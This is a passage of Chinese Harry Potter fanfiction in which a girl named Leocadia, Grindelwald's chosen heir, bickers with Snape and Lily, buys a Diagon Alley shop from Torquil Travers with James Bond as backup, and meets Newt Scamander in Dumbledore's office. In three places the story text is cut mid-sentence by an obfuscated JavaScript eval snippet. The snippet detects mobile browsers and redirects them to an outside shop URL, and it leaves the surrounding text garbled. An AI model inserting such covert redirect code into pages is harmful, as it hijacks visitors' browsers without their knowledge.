“好吧,如果跨片场的话我觉得你像蝙蝠侠。但我认为,你做西弗勒斯·斯内普就很好。”莱奥卡蒂亚抢先跳上了台阶,转过头叉腰,“成为蝙蝠侠太痛苦了,我估计也成为不了心胸宽广的X教授,所以我们就做自己吧。” 斯内普见缝插针地嘲讽:“你也知道你心胸狭隘?” 艾琳给他们开门,伸手摸摸莱奥卡蒂亚的头发:“什么做自己?什么心胸狭隘?你们又在盘算什么?还有,西弗,你的风度呢?” “没什么,艾琳阿姨,”莱奥卡蒂亚脸不红心不跳地告叼状,“西弗勒斯说我会长不高,还会比他更早秃顶。” 艾琳温和地笑着:“放心吧,小告状精,有我在呢,你和西弗都不会太早掉头发。” 斯内普反驳:“明明是她先说我会秃顶的。我只说了她整天胡思乱想会长不高。” “如果真有那么一天,我就先把西弗剃秃。”艾琳夫人装作没有听见他的话,这么对着莱奥卡蒂亚承诺。 莱奥卡蒂亚:嘻嘻。 斯内普:不嘻嘻。 斯内普叹息:“妈妈,怎么你也向着她?” 艾琳严厉地飞给他一个“你自己体会”的眼神:“因为我听见了你说莱奥心胸狭隘。” 所以她说我秃顶就没事了吗?斯内普酸溜溜地想,这个家真是没法呆下去了,所有人都偏心莱奥卡蒂亚,连莉莉有时候都会拉偏架。 他扭着头,大步流星地超过她们,直奔公共盥洗室去洗手——莱奥卡蒂亚的要求,吃饭之前必须用肥皂洗手。 艾琳“哎呀”一声:“他这是生气了?真可爱。” 莱奥卡蒂亚认为这是亲妈的滤镜。 她可没有闻到“生气”的味道。 或者说,西弗勒斯·斯内普的情绪味道格外与众不同,她目前积攒的、普遍的情绪气味表压根上找不出能完美契合他的形容词,反正她经常摸不准他的心情。 也许得归纳总结一个“西弗勒斯·斯内普”专属情绪气味对照表。 莱奥卡蒂亚这么想着,脚下生风,快步跑去盥洗室。 五分钟后,莱奥卡蒂亚一边享用炸鸡和奶酪,一边听艾琳夫人说她去魔法部验证身份和去古灵阁重启金库的事。 “那些妖精越来越贪得无厌了,”艾琳把炸鸡排切成小块,“他们扣除了几乎一半的金加隆作为保管费。” 莱奥卡蒂亚想象了一下如果自己的金库被扣掉一半的金加隆……然后义正言辞地附和:“是的!非常贪得无厌!” “而且普林斯庄园也破败了,”艾琳叹气,似乎是回忆起了往昔,“明明我……之前,普林斯虽然不是纯血二十八家族的一员,但也很有底蕴,现在却只剩下两只家养小精灵。” 斯内普和莱奥卡蒂亚对视一眼,莱奥卡蒂亚就关掉大脑封闭术的一角,专注去听斯内普的心声。 斯内普:‘你前几天是不是说你想弄一只家养小精灵来做家务?’ 莱奥卡蒂亚微微点头,又有点小纠结。 斯内普:‘听见我妈妈的话了吧?你还不如多雇几个保姆呢。’ 莱奥卡蒂亚耸肩,谢邀,见过霍格沃茨的家养小精灵了,我觉得那种生物的颜值和我家的环境不符。 两个小孩儿眉来眼去,应该桌上还有一个人在听艾琳夫人讲话。 弗雷德里克想起自己见过的家养小精灵,打了个冷颤:“说真的,我是不喜欢那种生物的,虽然他们的家政魔法很厉害,但我实在没办法有智慧的类人生物一边活成那种鬼样子。光惦记着怎么讨好自己的主人,毫无尊严地执行那些命令,却不去想想自我是什么味道。” 艾琳再次叹气:“是呀,它们一见到我就像疯了一样。当然,家养小精灵本来就不太正常,但是当他们渴望我回去,却又说着我父亲的那些话时,我是真的想让他们闭嘴。” 莱奥卡蒂亚左右看看,突然提问:“所以伏地魔和食死徒就是这种关系吧?被打上那个什么标记,被控制灵魂,一旦做错了事就会被惩罚,然后毫无尊严地跪下亲吻他的衣服?这些纯血有病吧?这不就是家养小精灵吗?” 弗雷德里克手上的叉子“当啷”一声落在盘子里。 半晌,他才找回自己的声音:“……我竟然觉得你说得很有道理。” 艾琳不安地摇头:“我们最好还是不要说这个了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299289|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据说他能听到别人呼唤他的名字。” 莱奥卡蒂亚用餐巾擦擦嘴:“名字不就是给人叫的吗?还是魔法界的名字真这么神奇?这不也是家养小精灵的特征吗?无论在哪都能听见主人的呼唤?” 弗雷德里克很不怕死地笑出声,艰难地朝她竖起大拇指:“那你说说,他的主人是谁?” 莱奥卡蒂亚也朝他竖起大拇指:“他答应谁的呼唤谁就是他的主人咯。比如邓布利多,当然,如果他现在来找我的麻烦,那他的主人就是我啦。” 弗雷德里克当场表演一个拍桌狂笑。 斯内普没有表现得那么明显,只是把这个比喻当成一个家养小精灵笑话。 毕竟他对于伏地魔的印象相当苍白,在莱奥卡蒂亚的影响下也觉得这个黑魔王相当没格调,也就比路人甲好一点。 只有艾琳在害怕中迷茫,但她这幅样子太过格格不入,只好又在迷茫中悄悄拼起自己碎掉的认知。 莱奥卡蒂亚双手环抱:“万一真有事儿也没关系,我可以摇人。” 弗雷德里克捧哏:“好吧,是什么人能打败黑魔王呢?” “卖天然气灶的异色瞳菠萝头。”莱奥卡蒂亚说了个在座各位都不懂的梗,“能打败黑魔王的只有黑魔王,或者黑魔王加白巫师的组合技。” Mr.Mentor不会老到连伏地魔都打不过吧?不会吧不会吧?上了年纪的老人家连这么个年轻人都打不过吗?莱奥卡蒂亚在心里阴阳怪气。 “啊,对了弗雷德里克,”莱奥卡蒂亚放下刀叉,“我想让你帮我打听打听最近巫师界有没有巫师要出手自家产业,房产、店铺、秘方,都帮我问问。” 弗雷德里克茫然:“你打听这些做什么?” 莱奥卡蒂亚捋捋头发:“还能做什么?当然是方便我做生意啊。” “啊?”弗雷德里克震惊,“你还要在巫师界做生意?是麻瓜的钱还不够你赚吗?” 莱奥卡蒂亚优雅地笑笑:“谁会嫌自己的钱多呢?” 而且她想做的事可不止这些。 进入霍格沃茨上学已成定势,她当然得想办法让自己的生活质量好一点。 比如…… 弗雷德里克是个相当合格的工具人,他第二天上班的时候在魔法部明里暗里地打探了一圈,回来就给了莱奥卡蒂亚一张单子。 “我打听过了,沙菲克家族在戈德里克山谷要出手两处房产;诺特家要卖一批珠宝;特拉弗斯家要出售一处对角巷的店铺,但位置不怎么好……” “特拉弗斯?”莱奥卡蒂亚突然重复一遍,“那个托奎尔·特拉弗斯所在的纯血家族?” 弗雷德里克在记忆里找了找她说的名字:“托奎尔……啊,当然,他几年前把家主的位置传给他儿子了。只不过他的儿子们都是食死徒,孙子们似乎也是,但最小的孙子跟你一个年级,还没入学。” “没关系,”莱奥卡蒂亚的手指不断点在座椅的扶手上,“这……对我来说是件好事。” 她面前摆着的信纸被堆叠的书本遮住了一大半,弗雷德里克只隐约看见“校董”、“除名”、“改革”这三个单词。 “别做危险的事,”弗雷德里克半认真半调侃地警告,“我一点都不想去阿兹卡班捞你,你知道巴蒂·克劳奇有多难说话吗?” “没关系,我还没入学,连魔杖都没登记过,”莱奥卡蒂亚掩着嘴,漫不经心地打了个呵欠,“大不了我去德姆斯特朗读书,或者伊法魔尼和布斯巴顿。” 要是连英国都搞不定,我怎么接手Mentor在欧洲的整个布局? 她舔舔下唇,瞳仁比普罗旺斯的紫罗兰还热烈三分。 哎呀,这就是“能力越大,责任越大”吗? 22. 22 对于这一天,托奎尔·特拉弗斯已经等待了二十多年。 等到他垂老矣矣,等到他冷漠地看着子孙亲吻一个疯狂的混血的袍角。 “但我也是混血,”隔着一张咖啡桌,打扮得相当麻瓜的女孩搅着咖啡,“您不觉得Mentor看错人了吗?” 托奎尔僵硬地扯出一个笑:“虽然我不该怀疑这一点。” “可谁叫我确实被Mentor寄予厚望呢?”女孩并不在意他的态度,而是轻轻伸出手客气一下,“请尝尝吧,这家店的咖啡豆是我在这里喝过最好的,即使它比不上我在意大利喝的。” 托奎尔其实很是看不起麻瓜的咖啡店,但出于礼貌和对某位的尊重,他还是从容地端起杯子沾了沾唇。 随着女孩的动作,一枚闪烁着银光的奇异饰品从她的手链上滑下,落出袖口,那光芒能让托奎尔眼神发直地怀念那段岁月,也能让任何一个上了年纪的巫师惊呼出声。 圆环、三角、竖线。 浑然一体,完美无缺。 它原本代表着死亡圣器。 但在最近几十年,它更为人所知的用处,是代表一个巫师,一个搅动风云的强大巫师。 那是盖勒特·格林德沃的符号。 在感受到刻入骨髓的魔力波动后,托奎尔的喉结动了动,对莱奥卡蒂亚的不屑和怀疑消散了一些。 “这其实是一把门钥匙,”莱奥卡蒂亚回忆,“Mentor说,要是遇到搞不定的人就把它丢在那个人身上,送到他面前,他自然会帮我得到我想要的。” 但那也代表着莱奥卡蒂亚在这场考核中失败了。 代价是,她以后只能做格林德沃的傀儡,要倒贴上整个萨卢佐家族,以格林德沃的信徒的名义行事。 而不是学徒,或者说继承人。 这两者有着本质的区别。 莱奥卡蒂亚只想做后者,而不是前者。 “但我想,除非我现在就去单挑伏地魔,不然在很长一段时间内,这把门钥匙只是一个代表身份的符号——代表我是他继承人的符号。” “听说伏地魔也自称继承了Mentor的意志?真搞笑,Mentor才不歧视和痛恨麻瓜。”莱奥卡蒂亚好奇地问。 托奎尔点头。 莱奥卡蒂亚喝了一口咖啡:“唉,说实在的,我不明白为什么您的子孙会选择伏地魔呢?很抱歉我没见过他,但是我认为,如果能选择金子,我就不会去选择煤炭。” 托奎尔言简意赅:“那是因为先生沉寂太久。” “那只能说明你们的政治嗅觉已经退化到了没必要再存在的地步,真的,你们被邓布利多保护得太好了。”莱奥卡蒂亚露出真诚又关切的笑容。 “就像温室里的花朵,只是花农用了一点最差的肥料就高兴地绽放,完全没想到这个花农只是想踩着花朵的尸体,把自己送上高位。” “最后,”女孩双手合十,又一触即分,十指微微律动,“‘哗啦’,什么纯血的荣光、什么巫师的骄傲,都会碎成一地残渣。” 托奎尔河蚌一样死死关着嘴。 “可是,现在说这些有什么用呢?”莱奥卡蒂亚装模作样地叹气,“毕竟现在可是神秘人的时期,格林德沃已经成为过去式啦,除非……” 她拖着长长的尾音:“除非,有一个能比神秘人更强大的人出现。” “你认为你是?”托奎尔讥讽一笑,“小姐,这不是过家家,魔法世界也不是一个混血小女孩的游乐场,哪怕这个混血有先生在身后为她背书。” 他加在“混血”和“小女孩”的重音让莱奥卡蒂亚稍微有一点被冒犯之感。 莱奥卡蒂亚用食指戳着咖啡杯:“还是说出来了啊,原本我还想,要是你能忍住别拿我的血统、年龄和性别说事,我还能和你好好地谈一谈。” “啪” 她打了个响指。 吧台后的店员们纷纷停下手上的动作,朝莱奥卡蒂亚微微鞠躬。 托奎尔的手按在长袍的一角,轻蔑地冷哼:“您觉得,区区麻瓜能比巫师厉害?” “唔,也许不能,也许能,单看双方手上拿着的是什么。”莱奥卡蒂亚笑着看向他的手,“红杉木,十五英寸,杖芯是谁的头发吗?看来您不是在奥利凡德先生那里买的魔杖。” 托奎尔一惊:“你怎么……” “您手上的,是一根魔杖,”莱奥卡蒂亚没有解释的意思,而是缓缓地抽出自己的魔杖,“我手上的,也是一根魔杖。” “而他们,”莱奥卡蒂亚示意托奎尔看看吧台后面,“用的是反坦.克火箭.筒——啊,应该是您没见过的型号,这是刚完成试验的新品。” 莱奥卡蒂亚抬手挥了挥,店员们沉默着回去工作了。 托奎尔脸色铁青:“区区三个人,就算用那个火、火箭l筒……我可是特拉弗斯,是神圣二十八纯血!我掌握的魔法可不是麻瓜的武器能比的!” 莱奥卡蒂亚诧异:“谁告诉你我只带了三个人?” 开玩笑,我,萨卢佐家的继承人,来异国他乡上学怎么可能真的只带一个老保姆? 能不能给环地中海里世界第一家族一点尊重? 托奎尔后知后觉地发现,这条位于科克沃斯市中心的商业街有点过于安静了。 叮铃—— 一位西装革履的英伦绅士推门进来:“也许我迟到了?但还是请给我一杯拿铁,以及,萨卢佐小姐,迟到并不是我的本意,但我在出门前接到了威尔逊先生的电话,他邀请您改日去唐宁街十号共进晚餐,并询问您的祖父有没有让您带来他喜欢的那款葡萄酒。” “当然是有的,”莱奥卡蒂亚弯起双眼,“很抱歉在您的假期打扰您,邦德先生。” 这位先生潇洒耸肩:“为了美丽的淑女,一位绅士可以放弃一些无关紧要的东西。” 他走到莱奥卡蒂亚后面的咖啡桌背对着他们坐下,打开桌上的报纸。 哪怕不了解麻瓜的那些部门,但托奎尔好歹还认识现任英国首相的名字。 “巫师界似乎一直是魔法部部长和首相直接对接的,上一任魔法部部长是诺比·里奇先生,啊,我记得他,他给我母亲寄过圣诞节贺卡。”莱奥卡蒂亚一下下敲击着桌面,一声声轻响却如重锤砸向他的大脑。 “实际上,威尔逊先生一直对巫师界很好奇,只可惜碍于工作无法深入研究。” 邦德兴致很高地插话,“一开始我得知这些事的时候还以为M女士在跟我说睡前童话故事。当然啦,我一直很想知道热武器和魔法哪个更厉害,所以今天我特意带了一些市面上很难看见的小玩意过来。” 莱奥卡蒂亚故作天真地轻轻鼓掌:“不愧是00部门的特工,我会努力不让您把它们拿出来的。” 邦德遗憾地缩回去:“好吧好吧。请问我的卡布奇诺好了吗?” “特雷维索……抱歉,或者是贝拉弗斯,又或者其他姓氏的先生,”莱奥卡蒂亚甜甜地笑起来,“您应该看到了,我并不在意您的姓氏,血统论在我眼里是最恶心的事。我的祖父常说一句话,‘王侯将相宁有种乎’,我深以为然。” 特拉弗斯听出了她的意思,怒火几乎要冲出眼眶,看来他想用这种没用的眼神烧死莱奥卡蒂亚。 “Mentor选中我,是因为我的个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299290|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人能力和潜力,还有我的姓氏代表的一切……”她突然皱了皱鼻子,“哎呀,一不小心也学着您拿姓氏说事了,这可不是个好习惯。” “我邀请您见面,只是因为Mentor提起过您,说您的有着还算不错的能力,姓氏也在英国巫师界说得上话,可惜啊,我并没有发现更多值得称赞的地方。” 托奎尔反唇相讥:“哈,您看不起特拉弗斯,却还不是纡尊降贵约我见面?” “您说笑了,我约您见面,只是为了您的家族在对角巷要出售的店铺。但我代表的也不仅仅是我自己。”莱奥卡蒂亚浅笑吟吟,“我需要通过我的考核,顺理成章地接手Mentor的一切,以及萨卢佐家族的一切。” “所以,我需要一个说得上话、又不至于太起眼的家族作为我的帮手。”莱奥卡蒂亚轻轻说道,“这个家族最好能接触到神秘人,但也得有效忠于Mentor的聪明人,这个人能代表我出面做一些事。” “我不要求你一开始就对我付出信赖,但我相信,我不会让你失望的。” 她挥动魔杖,一簇蓝色的火焰从吊坠中升腾,落在托奎尔面前。 “这是Mentor给我的,他的火焰。您还敢碰Mentor的火焰吗?” 托奎尔·特拉弗斯静默良久,突然大笑着伸手,将火焰拢在掌心,那苍老但有力的手掌在火焰中毫发无损:“我为什么不敢?!” 他对盖勒特·格林德沃的忠诚绝不逊于任何圣徒! “萨卢佐小姐,请原谅我刚才的失礼。”托奎尔彬彬有礼地鞠躬,“我似乎明白了为什么先生当面让我回到英国静待时机。” “只能说Mentor是个老谋深算还会给自己留后路的人。” 她朝托奎尔伸出右手,手背朝上,拇指上的青铜戒指小而精致。 托奎尔微愣,拿不准她想做什么。 莱奥卡蒂亚长叹着摇头:“难道,我能给特拉弗斯这个姓氏的东西都不值得您和我握手?” 托奎尔深深地看她一眼,执起她的手,轻轻摇动。 莱奥卡蒂亚点头:“既然如此,契约达成。接下来我们来谈谈店面的事?” “当然,”托奎尔微笑,“原本为了表达忠心,我应该直接将它献给您。” “不不不,一码归一码,我可没兴趣抢别人的财产……” 他们你来我往地商讨一会儿,莱奥卡蒂亚用一个合理的价格拿下了特拉弗斯的店铺。 离开前,托奎尔问莱奥卡蒂亚怎么联系她。 “唔,”莱奥卡蒂亚不紧不慢地抽了张桌上的纸巾,把它变作一张名片,“您可以联系名片上的人,他会安排我们见面的。我还有一年半才去霍格沃茨上学,到那时候就不需要中间人了,直接送信到霍格沃茨就好。” 托奎尔为她的无杖无声变形咒流露出一些震惊,态度更加郑重地双手接过名片。 等托奎尔离开后,当了许久背景板的007才惊叹地说道:“真不敢相信,虽然有所耳闻但我还是想问,他们的观念是还活在上个世纪吗?” 莱奥卡蒂亚也放松了不少:“唉,别提了,他们甚至没拉电线,完全靠魔法和蜡烛照明。邦德先生,请问您接下来是回MI6吗?我能蹭你的车回家吗?” “当然可以,以及您可以叫我詹姆斯。”007喝完卡布奇诺,站起来整理衣袖,“其实我还是很遗憾没能见识魔法和枪.械到底哪个好用。” 已经做过实验的莱奥卡蒂亚据实以告:“反正我的铁甲咒是还无法正面抵挡内格夫*连射的啦。” 但说不定邓布利多可以。 毕竟那可是邓布利多! 23. 23 莱奥卡蒂亚在邓布利多的指点下,正在进阶自己的功课难度。 ——指把那一堆零件重新拼回去。 “每一块零件的接合处都有属于它们的小秘密,也许把它们拆开是很轻松的事情,但要想把它们顺利拼起来,你得费很多的时间。” 邓布利多靠在椅子里,悠闲地回复着信件:“因为它是我做出来炫技——跟一位老朋友,你也认得的那位——用的,请容我自夸一句,他也花费了一天时间才把它拼好,对此我相当自豪。” 莱奥卡蒂亚还是在二楼,趴在栏杆上两条腿都踩不到地板,只能悬在半空。 闻言相当给面子地捧哏:“是嘛?真是了不起呀,难怪我怎么拼都拼不起来,我发现每一面和每个棱角上似乎都有魔咒和魔文的痕迹,而且都是我这个年纪不应该接触的那种。” 邓布利多满意地背对着她挥挥手:“敏锐的小姐,我想象不出以你的洞察力和敏锐度还有什么是能难倒你的。” “有啊,我的魔药很不好,”莱奥卡蒂亚大方承认,“祖母还说我的艺术细胞已经到了叶卡捷琳娜大帝在世也救不了的境界。” 唱歌会跑调,诗词、音乐和画作鉴赏从来只说模板套话,拉小提琴永远只会《欢乐颂》,还被来检查功课的祖母嫌弃一点情感都没有,跟祖父一模一样。 被嫌弃的一老一小通常会对视一眼,然后立刻从祖母的视线范围内消失,一起去书房看书,去爬后山,或者只是一起走过长长的走廊,然后在楼梯口告别,一个上楼,一个下楼。 邓布利多的声音听上去反而更轻松了:“那看来我们又有了一个相似的地方。” 他又随手拆开一封信,“人上了年纪就会有一点小任性,我从不觉得我的穿衣风格有什么不好的,可是……哦,是纽特的信。” 莱奥卡蒂亚眨眨眼:“纽特……纽特·斯卡曼德先生?” 三个学龄前儿童当然看过那本《神奇动物在哪里》,神奇生物保护课听起来就很像动物饲养员,为此他们还专门在周六下午去了一趟科克沃斯市的市立动物园观察那些饲养员。 同样是看书,斯内普只在意那些神奇动物的身上哪些地方可以入药、有什么特性,莉莉沉迷于看那些神奇生物图片,并立下了摸一摸鹰首马身有翼兽的雄心壮志。 莱奥卡蒂亚对作者的情感则更复杂一点。 嗯,毕竟某个老头经常用各种语气提到这个名字。 “是的。哦,他说近期会回一趟英国,想来和他的老教授说说话。”邓布利多笑得开怀,“希望他能带一些雅各布先生的面包,我可真怀念那个味道。” 莱奥卡蒂亚晃晃腿:“那位奎妮女士的丈夫?他似乎要比斯卡曼德先生还要大一些吧?” 邓布利多遗憾地轻叹,“是的,那位先生有着宽厚的灵魂,我时常在想,如果他也是一位巫师,是很适合在赫奇帕奇学习的。” 莱奥卡蒂亚分析几秒,觉得这是一句赞美。 但她现在只关心科尔瓦斯基先生做的面包是不是真的很好吃。 天知道艾琳最近给她喝的魔药有多难喝! 她觉得自己对甜味的追求都快赶上邓布利多了! 好在没过几天,那位风尘仆仆的先生就给了莱奥卡蒂亚的猜测一份完美的回应。 “我可是专程等着雅各布的面包出炉,才借壁炉过来的。” 带着满身面包甜味的神奇动物专家打开手提箱,将里面的面包一个个飘出来:“雅各布已经很少进烘焙坊了,但知道我要来见你,他有点兴奋过头。” “看起来确实如此,”邓布利多注视着逐渐堆成一座小山的面包,“雅各布先生还是一如既往地大方。” 纽特腼腆地笑起来,几十年过去了,除了发色有些斑驳、眼角多了几条皱纹,他似乎没怎么变过。 邓布利多和他闲聊几句,纽特轻快说起蒂娜还没有退休的意愿,家里养的猫狸子最近疯狂掉毛,他们的第一个孙子也快到上学的年纪,在学校的选择上他和蒂娜有一些分歧。 “在我心中霍格沃茨永远是最好的,”纽特脸上带着苦恼但甜蜜的笑,“只不过,蒂娜说要是我敢偷偷把珀尔塞进箱子带回英国,她就和奎妮出去旅行,让我和孩子们自己过日子去。” “蒂娜还是那么有个性,她不忙的时候带她来坐坐,说不定她会同意你的观点的。” 邓布利多温和地听着,没有伸手去拿面包,反而施了个保温咒。 纽特眨眨眼,有些不解,抬手把从大衣领口里露出一个脑袋的护树罗锅塞回去。 是谁在信里特意用整整一段怀念雅各布的面包的? 邓布利多表情神秘地拿出一面镜子——双面镜敲了敲。 很快,壁炉里“砰”地一声露出一张小豆丁的脸。 “阿不思!是斯卡曼德先生来……哦!Ciao~斯卡曼德先生!”小豆丁中气十足地大声打招呼,“阿不思,你介意我带莉莉来找斯卡曼德先生要签名吗?” “我想我不介意。”邓布利多只来得及说这么一句,那颗金灿灿的脑袋边说“我就知道你最好啦”边缩了回去。 “那是……?”纽特一脸茫然。 邓布利多面上带了点得意的自豪:“我从某位使用G开头的姓氏和G开头的名字的老顽固——对,就是他——手里抢来的学徒。” 纽特的茫然变成了无语。 他还没来得及嘀咕“你们怎么又联系上了”,壁炉就“噗噗噗”地吐出三颗小豆丁。 打头的是一个黑头发的小男孩,他还没来得及站稳,就被两个小女孩撞了一把,三个人滚作一团。 刚刚说话的金头发小女孩捂着脸:“呃,我的牙。” “现在应该抱怨的是我,”被压在最底下的男孩听起来一副怒火中烧的样子,但纽特看不出来他有多么生气,“我要被你们压死了!” 红发女孩立刻就站了起来,脸上的愧疚纠结成一团:“哦对不起西弗,我不是故意的。” 金发女孩也慢吞吞地站起来,弯腰抓住他的手:“哼,谁让你第一个过来还傻站在壁炉面前。” “那是你先推我的!” “我只是让你给莉莉演示一下怎么用飞路粉。” 她把男孩拽起来,就小跑到纽特身边,热情地和他握手,“再次问候,斯卡曼德先生,在我还没看过你的书之前,我就听过好多次你的名字,哦,我超喜欢你的书。我是莱奥卡蒂亚,莱奥卡蒂亚·萨卢佐,你可以叫我莱奥。” 纽特猝不及防对上那双流光溢彩的紫眼睛。 哪怕已经做祖父了,他也是个内敛的人,但又很难拒绝这样直白的喜爱,只能微微偏过头挪开视线,羞涩地笑笑:“你好,莱奥,你也可以叫我纽特。” “好呀,纽特!”莱奥卡蒂亚拉过一直抱着书的莉莉,“这是莉莉·伊万斯,那个家伙是西弗勒斯·斯内普。” 莉莉的眼睛也在闪闪发光,她摊开书的扉页:“你好斯卡曼德先生!我是你的粉丝,请给我你的签名!” “好的,好的。”纽特抿唇笑着,没有用魔杖,而是拿起邓布利多办公桌上的羽毛笔,郑重签下自己的名字。 莱奥卡蒂亚已经把校长室当家了,也从邓布利多桌上薅了一张羊皮纸:“我也要!” 好好好,纽特又写了一遍,看向一语不发的斯内普,犹豫地问:“你要吗?” 斯内普:“……要的,谢谢。” 莱奥卡蒂亚就把羊皮纸对折一下,分了一半给斯内普:“算啦,这几天用了太多阿不思的纸,我们节省一点,免得他让我给他批经费。” 邓布利多笑得合不拢嘴:“看来我们的小校董也有舍不得花钱的时候。” “NoNoNo,名义上的校董是我祖父,出钱的是他,但批条子的是我。”莱奥卡蒂亚吹吹墨迹,折两折夹进莉莉的书里。 “你们有事要谈吗?那我带莉莉和西弗去对角巷啦,蜂蜜公爵上了新品,等会儿我带一点回来,纽特有什么特别想吃的糖吗?”莱奥卡蒂亚飘了三个面包起来,三个小孩儿人手一个。 纽特想说他只是来看看老教授,现在又不打格林德沃了没什么“正事”,就看见邓布利多点头:“是呀,我们确实有点事,但我不放心你们自己去逛对角巷。” 莱奥卡蒂亚咬着面包,含含糊糊地开口:“噫,这有什么好不放心的?好吧好吧,那我们叫上海格?” 在等禁林管理员过来的时间里,莱奥卡蒂亚和莉莉围着纽特转,特别是莉莉,搜肠刮肚地问了好些个问题。 而纽特也确实是当今最权威的神奇动物专家,无论莉莉问什么,他都能生动又深入的答上来。 莱奥卡蒂亚揽着斯内普的肩,阴阳怪气:“瞧,这才是好老师的样子,希望斯内普教授可以学那么一点儿皮毛。” 斯内普知道她在阴阳什么,当即把她的爪子抖下去:“如果某位小姐能有莉莉一半的专心,我想我不需要浪费更多的时间在辅导小姐这种事上。” 要不是莱奥卡蒂亚有丰富的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299291|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对斯内普经验,一般人真的很难察觉到他高傲下的心虚。 莱奥卡蒂亚呵呵冷笑:“是啊是啊,这一定不是斯内普教授语气太差的错。” 实际上斯内普一次性惹了两个人。 莱奥卡蒂亚闻到生死水的味道就犯困,所以睡了半节课,莉莉又忙于处理材料,她只能问斯内普抄笔记。 不知道是最近伙食太好还是怎么的,斯内普飘了。 他毒辣地批判一通莉莉处理材料的手法,又怼了几句莱奥卡蒂亚对魔药课不上心的态度。 莉莉虽然生气,但很快就调整好了,很认真的学着斯内普再次演示的手法处理材料。 但莱奥卡蒂亚才不受这气。 问你借个笔记看看罢了,你什么态度?是不是找揍呢? 于是她抓着斯内普的衣领把他掀翻在地毯上。 末了还坐在他肚皮上抄他笔记,嫌弃他字难看。 斯内普盯着鞋尖,眼神发虚,也知道自己不该那么刻薄,但在魔药上他就是忍不住。 “……我下次不会了。”他嗫嚅着,“但你也有错,你完全没有按照步骤来做魔药。” 莱奥卡蒂亚唏嘘:“你得搞清楚,虽然我看起来全能,但魔药这种东西说不会就是不会,我真的不喜欢处理青蛙皮的手感。” 人有点短板才正常啊。 斯内普忍了又忍,没忍住:“那不是青蛙!是雨蛙!而且生死水里哪来的雨蛙!?” 莱奥卡蒂亚“啧”了声:“这不重要,我只是举个例子。” “这很重要!”斯内普看起来又要挥洒毒液了,“哈,我就不该让你这种脑子里只有麻瓜药片的家伙抄我的笔记!” 邓布利多竖着耳朵听他们的话。 没过一会儿,高大的半巨人就揣上邓布利多给他的采买清单,把三个孩子提溜走了,校长室里很快就只剩下邓布利多和纽特。 老校长恢复了平日高深莫测的微笑。 “莱奥是个天生的摄魂取念者,和奎妮一样,希望你刚刚没有被她摄魂取念,如果有,我替她道歉,她还小,控制不太好自己的能力。” 纽特如梦初醒似的:“啊?什么?哦你说摄魂取念?没有,我没有感觉到记忆被翻动……” 他顿了顿,摸了摸衣领里的护树罗锅:“也许是她的摄魂取念比奎妮的还要强大?” 邓布利多肯定了他的说法:“确实如此,她还能‘闻’和‘品尝’别人的情绪。” “这可真是可怕的天赋,”纽特苦笑,“让我想起我和雅各布每次被抓包的场景。” 每次他想带着雅各布出去“转转”或者给家人们准备礼物,都逃不开奎妮的眼睛。她也很抱歉,但这种天赋有时候并不听持有人的使唤。 “但我相信莱奥足够喜欢你,”邓布利多十指交叉,“她平时可没这么热情,特别是在和别人第一次见面的时候。她只喜欢纯粹的人,比如她的两位小朋友,比如你,又比如海格。” 纽特不好意思地笑笑。 邓布利多也笑了,放过了容易害羞的学生,直接说明自己的想法:“除开这部分不谈,出于你对神奇生物的了解比我还要深刻,我想问问,是否有一种神奇生物也具有类似摄魂取念的天赋?” 纽特沉默几秒:“你是说,莱奥小姐可能身怀神奇生物的血脉?” “是的,因为我查过了很多有记载的摄魂取念者的资料,而他们的能力几乎一模一样,从不跳出摄魂取念的范围。”邓布利多颔首,“你应该对莱奥的母亲有印象,费德丽卡·维西佩尔,一位传奇的拉文克劳。” 纽特想起了某些连他都听过的传闻,喉结微动:“啊……我明白了。但我不得不说,神奇生物几乎都有一种能看透人心的直觉,比如独角兽就能判断人的心灵是否纯洁。只是观察时间太短,我也不清楚莱奥小姐到底是具有某一种神奇血脉,还是有这份直觉。” 邓布利多没有为难他:“这只是我的猜测,你不用有压力,也请你不要声张,对于大部分人来说,拥有其他物种的血脉并不是一件容易接受的事。” 纽特低头琢磨着,忽然想起往事,下意识呛他:“不,对我来说,我这辈子遇到过最难接受的事就是你和格林德沃的关系。” 神奇动物血脉怎么你了?有我当年受到的惊吓厉害吗?哼。 邓布利多轻咳:“……你住霍格莫德?今晚一起去三把扫帚喝一杯?” “忒休斯让我回家……好吧,只喝一杯。”纽特抱紧了自己的手提箱。 24. 24 三个小孩儿带着满身糖果的甜香跟在海格后面,走向那栋歪歪斜斜的守林人小屋。 莉莉捧着脸,脸上还带着兴奋的红晕:“巫师的店铺真神奇,你们平时经常去对角巷吗?” 